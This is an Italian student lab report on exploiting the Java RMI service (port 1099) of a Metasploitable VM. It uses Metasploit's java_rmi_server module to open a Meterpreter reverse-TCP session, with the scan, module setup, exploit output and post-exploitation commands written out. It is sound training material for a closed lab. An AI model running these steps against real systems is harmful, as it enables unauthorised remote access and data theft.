

# Progetto M4

Fabrizio Meini

*“Sfruttamento della vulnerabilità JAVA RMI per ottenere una sessione Meterpreter sulla macchina remota”*

## Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

## Ambiente di lavoro:

-Macchina Attaccante: Kali Linux VM - IP 192.168.11.111 - scheda di rete INTERNA

-Macchina Target: Metasploitable VM - IP 192.168.11.112 - scheda di rete INTERNA

```
(kali@kali)~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fe1a:4f64 prefixlen 64 scopeid 0<link>
    ether 08:00:27:1a:4f:64 txqueuelen 1000 (Ethernet)
    RX packets 473 bytes 36372 (35.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 52 bytes 5370 (5.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

msfadmin@metasploitable:~$ ifconfig
eth0
    Link encap:Ethernet HWaddr 08:00:27:40:21:83
    inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
    inet6 addr: fe80::a00:27ff:fe40:2183/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:28 errors:0 dropped:0 overruns:0 frame:0
    TX packets:28 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:2119 (2.0 KB) TX bytes:3056 (2.9 KB)
    Base address:0xd240 Memory:f0820000-f0840000

lo
    Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:92 errors:0 dropped:0 overruns:0 frame:0
    TX packets:92 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:19393 (18.9 KB) TX bytes:19393 (18.9 KB)
```

## INTRODUZIONE:

Il servizio Java RMI è noto per permettere l'invocazione di metodi su oggetti che risiedono su altre macchine virtuali Java, facilitando così la comunicazione tra diversi sistemi all'interno di una rete. Tuttavia, se non adeguatamente protetto, questo servizio può diventare un vettore di attacco, consentendo a un malintenzionato di eseguire codice arbitrario sulla macchina bersaglio.

L'obiettivo principale di questo esercizio è ottenere l'accesso remoto alla macchina Metasploitable sfruttando una vulnerabilità del servizio Java RMI tramite Metasploit. Una volta ottenuta una sessione di Meterpreter sulla macchina remota, raccoglieremo una serie di evidenze che includono la configurazione di rete, le informazioni sulla tabella di routing e altre informazioni di sistema rilevanti.

## SVOLGIMENTO:

### Fase 1: Scan delle porte

Attraverso il comando “nmap -sV” andiamo ad eseguire uno scan dei servizi attivi sulle porte, ottenendo la conferma della presenza di un servizio vulnerabile JAVA RMI sulla porta 1099:

```
(kali@kali)~$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 03:40 EDT
Nmap scan report for 192.168.11.112
Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.89 seconds
```

### Fase 2: Preparazione all’attacco

Una volta ottenuta la conferma della presenza del servizio, lanciamo il tool Metasploit con il comando “msfconsole”, andando a ricercare un modulo che faccia al caso nostro digitando “search java\_rmi”:

```
(kali@kali)~$ msfconsole
Metasploit tip: Use help <command> to learn more about any command

Metasploit v6.4.1-dev
+ --[ 2407 exploits - 1239 auxiliary - 422 post ]
+ --[ 1468 payloads - 47 encoders - 11 nops ]
+ --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry       .               normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server       2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  \_ target: Generic (Java Payload)         .               .       .       .
3  \_ target: Windows x86 (Native Payload)   .               .       .       .
4  \_ target: Linux x86 (Native Payload)     .               .       .       .
5  \_ target: Mac OS X PPC (Native Payload)  .               .       .       .
6  \_ target: Mac OS X x86 (Native Payload)  .               .       .       .
7  auxiliary/scanner/misc/java_rmi_server   2011-10-15      normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > 
```

Selezioniamo il modulo che fa al caso nostro (in questo caso il modulo alla riga 1) con il comando “use” seguito dal path di riferimento. Una volta selezionato andremo a scoprire quali sono le specifiche obbligatorie richieste dal modulo utilizzando il comando “show options”:

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Ora settiamo l’indirizzo target come richiesto dal tool attraverso il comando “set RHOSTS”:

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > █
```

### Fase 3: Exploit

Dopo aver settato in maniera corretta il modulo che abbiamo scelto, possiamo proseguire con la fase di Exploit. Lanciamo l’attacco con il comando “exploit”. Se l’attacco è andato a buon fine, otterremo una sessione meterpreter all’interno della macchina target:

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/is1FtKSVLCmf
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:45034) at 2024-06-07 03:46:51 -0400

meterpreter > █
```

Per essere sicuri di trovarci all’interno della macchina, lanciamo il comando “ifconfig”, che dovrebbe darci a video le configurazioni di rete della macchina target:

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe40:2183
IPv6 Netmask : ::
```

#### Fase 4: Raccolta informazioni

Ora che siamo all'interno della macchina target possiamo iniziare la raccolta di informazioni, come ad esempio la tabella di routing e le informazioni di sistema. Questi dati possono esserci poi utili per compiere altri attacchi:

```
meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe40:2183	::	::		

```

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux

```

#### CONCLUSIONI:

L'esercizio ha dimostrato la vulnerabilità del servizio Java RMI su Metasploitable, permettendo di ottenere una sessione Meterpreter.

Abbiamo raccolto informazioni critiche come la configurazione di rete e la tabella di routing, ma volendo potevamo ottenere altre informazioni molto più riservate come password e file salvati all'interno della macchina. Questo evidenzia l'importanza di proteggere i servizi RMI con misure di sicurezza adeguate.